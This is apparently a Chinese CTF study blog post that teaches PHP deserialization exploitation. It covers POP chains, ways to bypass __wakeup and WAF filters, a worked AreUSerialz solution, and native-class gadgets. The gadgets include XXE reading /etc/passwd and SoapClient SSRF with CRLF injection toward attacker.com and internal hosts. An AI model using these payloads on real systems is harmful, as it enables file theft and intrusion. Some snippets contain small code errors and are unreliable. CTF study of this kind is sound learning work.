每天手工一篇博客之php反序列化

  • day:1

一、序列化与反序列化基础

  • 先认识二个入口函数serialize()/unserialize()
  • serialize()序列化,unserilaze()反序列化->一般是反序列化题目的入口

魔术方法

  • __construct() :创建对象时自动触发
  • __destruct() :对象销毁时自动触发(一般就是反序列化开始就触发)
  • __wakeup() :反序列化时自动触发
  • __tostring() :当对象被当作字符串时自动触发
  • __call() :调用不可访问的方法时自动触发
  • __get()/__set():访问/设置不可访问属性时触发
  • __invoke() :当对象被当作函数时调用

简单的链式调用

class A {
    public $hook;
    function __destruct() { $this->hook->close(); }
}
class B {
    function __call($name, $args) { $this->cmd($args[0]); }
    function cmd($cmd) { system('$cmd'); }
}
$data = unserialize($_GET['data']);
// 传序列化的 A 对象 → __destruct 触发 → 
// $hook->close() 不存在 → __call 触发 → cmd() 执行
//如果我们控制传入的$args是我们的命令如cat /flag

绕过技巧

  • 从上面的例子可以得出,魔术方法可以相互串联使用
  • 但是出题人可能会用魔术方法设限
  1. 例如最经典的__wake( )可能用这个来强制更改我们可注入参数,想要绕过也是一个经典的手法,更改属性数量。当反序列化字符串中表示属性个数的值大于真实属性个数时,__wakeup()方法的执行会被跳过。这是因为PHP在反序列化过程中会忽略多出来的属性,从而绕过__wakeup()方法。
class User {
    public $username = 'guest';
    function __wakeup() {
        // 反序列化时自动执行——但我们可以绕过它!
        $this->username = 'guest';  // 强制设回 guest
    }
}

// 正常序列化:O:4:"User":1:{s:8:"username";s:5:"admin";}
// 反序列化时会执行 __wakeup → username 被强制改成 guest

// 绕过:把属性数量从 1 改成 2
// O:4:"User":2:{s:8:"username";s:5:"admin";}
//                       ↑ 属性数量比实际多
// → __wakeup() 被跳过!username 成功保留为 admin
  1. S大写绕过对字符串的过滤
// 正常序列化(小写 s)
s:6:"system";  
// 如果 WAF 或代码过滤了 "system" 字符串,会被拦截

// 绕过:大写 S + 十六进制编码
S:6:"\x73\x79\x73\x74\x65\x6d";
// \x73=s, \x79=y, \x73=s, \x74=t, \x65=e, \x6d=m
// → 反序列化后仍然是 "system",但绕过了关键词匹配

// 实际 payload 对比:
// 字符串 "cat /flag"
// 正常: s:9:"cat /flag";
// 大写 S 编码: S:9:"\x63\x61\x74\x20\x2f\x66\x6c\x61\x67";

3.+号绕过正则匹配表达式

// 很多 WAF 用这种正则拦截反序列化:
// /O:\d+:.*\{/  — 匹配 O:数字: 的模式

// 正常 payload(被拦截):
// O:4:"User":1:{s:8:"username";s:5:"admin";}

// 绕过:加 + 号
// O:+4:"User":1:{s:8:"username";s:5:"admin";}
//    ↑ 加 + 号正则不匹配,但 PHP 能正常解析

// 或者:把花括号改成十六进制
// O:4:"User":1:{s:8:"username";s:5:"admin";}
// 正则匹配 O:数字: 的话,加 + 号是最好用的绕过
  1. 私有属性 \0*\0 绕过
  • 原理:PHP 的私有属性在序列化时,属性名格式为 \0ClassName\0propertyName(\0 是空字节)。protected 属性格式为 \0*\0propertyName
  • php对与私有属性与公有属性检查不严格
class User {
    private $role = 'user';     // 私有属性
    protected $name = 'guest';  // 受保护属性

    function is_admin() {
        return $this->role === 'admin';
    }
}

// 正常序列化(私有属性):
// O:4:"User":2:{
//   s:10:"\0User\0role";s:5:"admin";   ← 注意空字节!
//   s:7:"\0*\0name";s:5:"admin";        ← 注意空字节!
// }

//记得更改一下s的字节长度
// \0User\0role = 1 + 4 + 1 + 4 = 10 字节
// \0 * \0name   = 1 + 1 + 1 + 4 = 7 字节
//其实我还记得有道题目,在序列化时直接把私有属性改为公有属性,直接生成序列化就可以了

例题buu[网鼎杯 2020 青龙组]AreUSerialz(现在改名为CTF2了)

class FileHandler {

    protected $op;
    protected $filename;
    protected $content;

    function __construct() {
        $op = "1";
        $filename = "/tmp/tmpfile";
        $content = "Hello World!";
        $this->process();
    }

    public function process() {
        if($this->op == "1") {
            $this->write();
        } else if($this->op == "2") {
            $res = $this->read();
            $this->output($res);
        } else {
            $this->output("Bad Hacker!");
        }
    }

    private function write() {
        if(isset($this->filename) && isset($this->content)) {
            if(strlen((string)$this->content) > 100) {
                $this->output("Too long!");
                die();
            }
            $res = file_put_contents($this->filename, $this->content);
            if($res) $this->output("Successful!");
            else $this->output("Failed!");
        } else {
            $this->output("Failed!");
        }
    }

    private function read() {
        $res = "";
        if(isset($this->filename)) {
            $res = file_get_contents($this->filename);
        }
        return $res;
    }

    private function output($s) {
        echo "[Result]: <br>";
        echo $s;
    }

    function __destruct() {
        if($this->op === "2")
            $this->op = "1";
        $this->content = "";
        $this->process();
    }
    function is_valid($s) {
    for($i = 0; $i < strlen($s); $i++)
        if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
            return false;
    return true;
}
if(isset($_GET{'str'})) {

    $str = (string)$_GET['str'];
    if(is_valid($str)) {
        $obj = unserialize($str);
    }

}

}                          
  • 我们的最终目标是$res = file_get_contents($this->filename);起点是__destruct(),这个pop链就是 __destruct() -> proces() -> read() -> $res = file_get_contents($this->filename);
  • 思路清晰,来构建序列化
<?php
highlight_file(__FILE__);
class FileHandler {
    protected $op = 2                                      ;
    protected $filename = "php://filter/read=convert.base64-encode/resource=flag.php"; // 或 "flag.php"
    protected $content;
}
$a = new FileHandler();
$b = serialize($a);
?>
  • 到这里,基础的反序列化就掌握了,逆着思维思考其实更简单,就像走迷宫一样,从终点往回找,是更简单的。

PHP 原生内置类 — 反序列化利用

PHP 内置类可以在不写自定义 class 的情况下直接用于反序列化攻击。当我们缺失魔术方法时就可以使用这些。

1. Exception / Error — 文件读取 + XSS

// 利用 Exception 的 __toString 输出文件内容
$e = new Error("<script>alert(1)</script>");
// 序列化: O:5:"Error":1:{s:10:"message";s:27:"<script>alert(1)</script>";}

// 实际利用场景:反序列化后触发 __toString → 内容被回显在页面上
// 可用于 XSS 或读取自定义 "文件内容"

2. SimpleXMLElement — XXE 注入(sctf2026 web shop 感兴趣可以去看看)

// SimpleXMLElement 在构造时解析 XML,支持外部实体
$xml = new SimpleXMLElement('<?xml version="1.0"?>
    <!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
    <root>&xxe;</root>');
$xml = new SimpleXMLElement($data,$option,$dataisurl)
//$data表示是XMl文本/XML文件地址
//$option表示是
常量	作用
LIBXML_NOCDATACDATA 节点转为普通文本 001
LIBXML_NOWARNING	屏蔽 XML 警告					010
LIBXML_NOERROR	屏蔽 XML 报错
LIBXML_NOBLANKS	自动忽略空白换行节点
LIBXML_COMPACT	压缩空白,优化内存
optino1|option2数值要叠加
//$dataisurl默认false,表示$data是文本,以文本形式读取XML,true表示从对应网址或者文件地址加载XML
这里就可以结合使用XXE的外带来解决文件读取问题了|
// 序列化: 需要传两个参数 ($data, $options, $data_is_url)
// 但 SimpleXMLElement 的序列化有特殊格式
// 利用方式:
// 1. 将这个对象传给某个会输出它的代码(如 echo $obj)
// 2. XML 被解析 → 外部实体被读取 → 文件内容出现在输出中

构造方式

// 第一个参数是 XML 字符串,第二个是选项,第三个是 data_is_url
// O:16:"SimpleXMLElement":0:{}
// 但 SimpleXMLElement 无法直接序列化,
// 需通过 __wakeup 或 __destruct 中的函数来触发

3. SplFileObject — 读取任意文件

$f = new SplFileObject('/etc/passwd');
echo $f;  // 触发 __toString → 输出文件第一行内容
// 或者 foreach($f as $line) { echo $line; }

序列化构造

// SplFileObject 的序列化不支持直接指定文件路径
// 需要配合 __wakeup 或其他魔术方法触发
// 典型用法:SplFileObject 作为某个 class 的属性,
// 当该 class 的 __toString 或 __destruct 中做了 foreach 或 echo 时触发

4. GlobIterator — 文件/目录遍历

$it = new GlobIterator('/tmp/*');
foreach ($it as $f) {
    echo $f->getFilename() . "\n";
}
// 可用于探测目录结构

序列化绕过

// GlobIterator 也是通过构造时的参数来执行
// 结合 __toString 或 foreach 循环触发
// O:12:"GlobIterator":0:{}

5. SoapClient — SSRF / 反序列化触发外部请求

最强大的内置类之一

// SoapClient 在 __call 魔术方法中会发起 SOAP 请求
$client = new SoapClient(null, [
    'location' => 'http://attacker.com:9999/',
    'uri' => 'http://target',
    'user_agent' => "test\r\nCookie: PHPSESSID=abc123\r\n"
]);
// 当触发 $client->任意方法() 时,会向 attacker.com 发起 HTTP 请求

核心利用链

// 假设有某个 class 的 __destruct 调用了 $this->a->任意方法()
// 而 $this->a 可以设成 SoapClient 对象
class Trigger {
    public $hook;
    function __destruct() {
        // $this->hook->close() 不存在 → 触发 __call
        $this->hook->close();
    }
}

// 构造 payload:
$soap = new SoapClient(null, [
    'location' => 'http://127.0.0.1:8080/admin',
    'uri' => 'http://target',
    'user_agent' => "phprce\r\nContent-Type: application/x-www-form-urlencoded\r\nX-Forwarded-For: 127.0.0.1\r\n"
]);

$trigger = new Trigger();
$trigger->hook = $soap;

// 反序列化 $trigger → __destruct → $hook->close()
// → SoapClient::__call → 向 127.0.0.1:8080 发起 HTTP 请求
// → SSRF 或 CRLF 注入

CRLF 注入实现任意 POST 请求

// user_agent 中可以注入换行符来构造完整的 HTTP 请求
$soap = new SoapClient(null, [
    'location' => 'http://127.0.0.1:8080/',
    'uri' => 'http://target',
    'user_agent' => "x\r\nContent-Length: 40\r\nContent-Type: application/x-www-form-urlencoded\r\n\r\nusername=admin&password=test\r\n"
]);
// 这样 SoapClient 发请求时,HTTP 头中会注入额外的请求体
// 实现对内网接口的任意 POST 操作

6. ZipArchive — 文件删除 / 操作

$z = new ZipArchive();
$z->open('/tmp/test.txt', ZipArchive::OVERWRITE);
// 在 __destruct 中可能会调用 close,可用于文件操作

7. ArrayObject / ArrayIterator — 与 preg_replace 配合

// ArrayObject 实现 ArrayAccess 接口,
// 配合某些魔术方法可以改变数组访问行为
$arr = new ArrayObject(['key' => 'value']);

内置类利用速查

类名 触发方式 效果
SoapClient __call 任意方法 SSRF + CRLF 注入 → 任意 HTTP 请求
SimpleXMLElement __construct / __toString XXE 文件读取
SplFileObject 迭代 / __toString 读文件第一行
GlobIterator 迭代 目录遍历
Error / Exception __toString XSS / 信息泄露
ZipArchive __destruct 文件操作

CTF 中最常用的内置类组合

Trigger::__destruct → $this->hook->close()
  → SoapClient::__call → SSRF 请求内网接口
  → 或通过 CRLF 注入 POST 数据

需要 gd 库、ssh2 等扩展类也可以利用。SoapClient 是 CTF 中出镜率最高的内置类,因为一个类就能完成 SSRF + CRLF 注入 + 任意 HTTP 请求。
ssh2我记得好像是在unictf2026上的一起鸣唱吧上有,可以去尝试一下。

更多推荐